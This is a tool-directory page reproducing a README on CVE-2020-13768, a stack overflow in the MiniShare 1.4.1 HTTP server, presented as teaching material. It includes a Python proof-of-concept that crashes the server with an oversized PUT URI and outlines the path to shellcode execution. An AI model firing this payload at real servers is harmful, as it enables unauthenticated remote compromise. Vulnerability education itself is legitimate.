Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2020-13768 — Stack-based buffer overflow in MiniShare 1.4.1 reachable through a single HTTP PUT request. | Kitploit
Tools/GitHubGitHub/themalwareguardian/cve-2020-13768
Vulnerability AnalysisExploitationShellcodeDebuggersWeb SecurityFuzzingPenetration TestingLearning & EducationPayload DevelopmentBinary Exploitation
GitHubthemalwareguardian/cve-2020-13768

CVE-2020-13768

25 months agoNot yet reviewed

Stack-based buffer overflow in MiniShare 1.4.1 reachable through a single HTTP PUT request.

View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

🐞 CVE-2020-13768: MiniShare 1.4.1 - Stack-Based Buffer Overflow

Stack-based buffer overflow in MiniShare 1.4.1 reachable through a single HTTP PUT request.




📑 Table of Contents

  • Why this repository exists
  • Why this vulnerability is interesting
  • Context and affected software
  • About the vulnerability
  • Triggering the crash
  • Exploitation



🎓 Why this repository exists

This repository is part of the material I use when teaching memory corruption exploitation (in addition to my regular work, I also teach in different cybersecurity courses where I help train the next generation of reverse engineers).

CVE-2020-13768 is a case I use when I want to show how simple network-facing servers can expose classic stack-based buffer overflows through standard protocol methods. The vulnerable endpoint requires no authentication, the overflow is a direct EIP overwrite, and the exploitation path is clean and well-defined. It is an ideal case for learning the full exploitation methodology in a realistic unauthenticated remote scenario.

What also makes this case interesting as a teaching exercise is that the same root cause, unsanitized input copied into a fixed-size stack buffer, appears across multiple CVE entries for the same binary. CVE-2018-19861, CVE-2018-19862, and CVE-2019-17601 all describe the same class of vulnerability, just reported by different researchers through different HTTP methods or endpoints. This teaches students to look at root causes rather than just CVE numbers.




💡 Why this vulnerability is interesting

This vulnerability affects MiniShare 1.4.1, a discontinued lightweight Windows HTTP server designed for simple local file sharing. The software was written without modern security practices in mind. What makes this case particularly interesting from a teaching perspective is the combination of factors involved:

  • No authentication required. The HTTP PUT method is processed without any credential check. Any remote attacker on the network can trigger the vulnerability with a single crafted request.
  • Standard protocol method as the attack vector. The overflow is triggered through an HTTP PUT request — not a custom protocol or obscure command. This illustrates how standard, well-known protocol methods can carry exploit payloads just as effectively as proprietary interfaces.
  • Direct EIP overwrite. The overflow reaches and overwrites the saved return address directly, making this a textbook vanilla stack buffer overflow with no SEH chain involved.
  • Multiple CVEs, same binary. CVE-2018-19861, CVE-2018-19862, and CVE-2019-17601 describe the same class of vulnerability in the same software. Different CVE entries were assigned because different researchers reported different HTTP methods or endpoints, but when the binary is reversed it becomes clear that they all share the same root cause, unsanitized input copied into a fixed-size stack buffer without length validation.

This combination makes CVE-2020-13768 an excellent case for teaching the fundamentals of network-based buffer overflow exploitation in a realistic unauthenticated scenario.




🔍 Context and affected software

MiniShare is a minimal Windows HTTP server originally designed for quick local file sharing over a LAN. It listens on TCP port 80 and handles a small subset of HTTP methods including GET and PUT. The PUT handler processes incoming requests and copies the URI path into a fixed-size stack buffer without validating its length.

Key technical details:

  • Vulnerability type: Stack-based buffer overflow
  • Affected version: MiniShare 1.4.1 and earlier
  • Affected endpoint: HTTP PUT request
  • Vulnerable component: URI path handling in the PUT handler
  • Authentication required: No
  • Impact: Remote code execution



⚠️ About the vulnerability

MiniShare processes incoming HTTP requests and dispatches them to the appropriate handler based on the method. The PUT handler extracts the URI path from the request and copies it into a fixed-size stack buffer without checking its length.

A simplified version of the vulnerable logic looks like this:

root@kitploit:~
char path_buffer[256];

strcpy(path_buffer, uri_path);

Since the destination buffer has a fixed size and the input length is not validated, sending a sufficiently long URI in the PUT request causes the copy to write past the end of the buffer, eventually reaching and overwriting the saved return address (EIP) on the stack.

When the vulnerable function returns, the CPU loads the attacker-controlled value from the stack into EIP and jumps to it. If that address points to attacker-controlled data containing shellcode, arbitrary code execution is achieved.




💥 Triggering the crash

The crash can be reproduced by sending an oversized URI in an HTTP PUT request. No authentication is required. Example using Python:

root@kitploit:~
import socket

HOST = '127.0.0.1'
PORT = 80

payload = b"A" * 3000

request = (
	b"PUT /" + payload + b" HTTP/1.1\r\n"
	b"Host: 127.0.0.1\r\n"
	b"Connection: close\r\n"
	b"\r\n"
)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(request)
s.close()
Download Tool

When executed under a debugger, the crash shows EIP overwritten with user-controlled data:

root@kitploit:~
EIP = 41414141

confirming that the saved return address has been corrupted by the overflow.




💣 Exploitation

The goal of this repository is not only to demonstrate the crash, but also to walk through the complete exploitation process step by step, following the methodology used when developing real stack-based exploits.

To keep the main README clean, the detailed exploitation notes, scripts, and debugger steps are placed inside the Vulnerability 📂 folder of this repository.

There you will find the complete workflow used to exploit this CVE, including:

  • Fuzzing the PUT URI to identify the crash.
  • Offset discovery to locate the exact position of EIP on the stack.
  • Bad character analysis to identify bytes that corrupt the payload.
  • Locating a JMP ESP gadget from a loaded module without ASLR.
  • Shellcode placement and execution.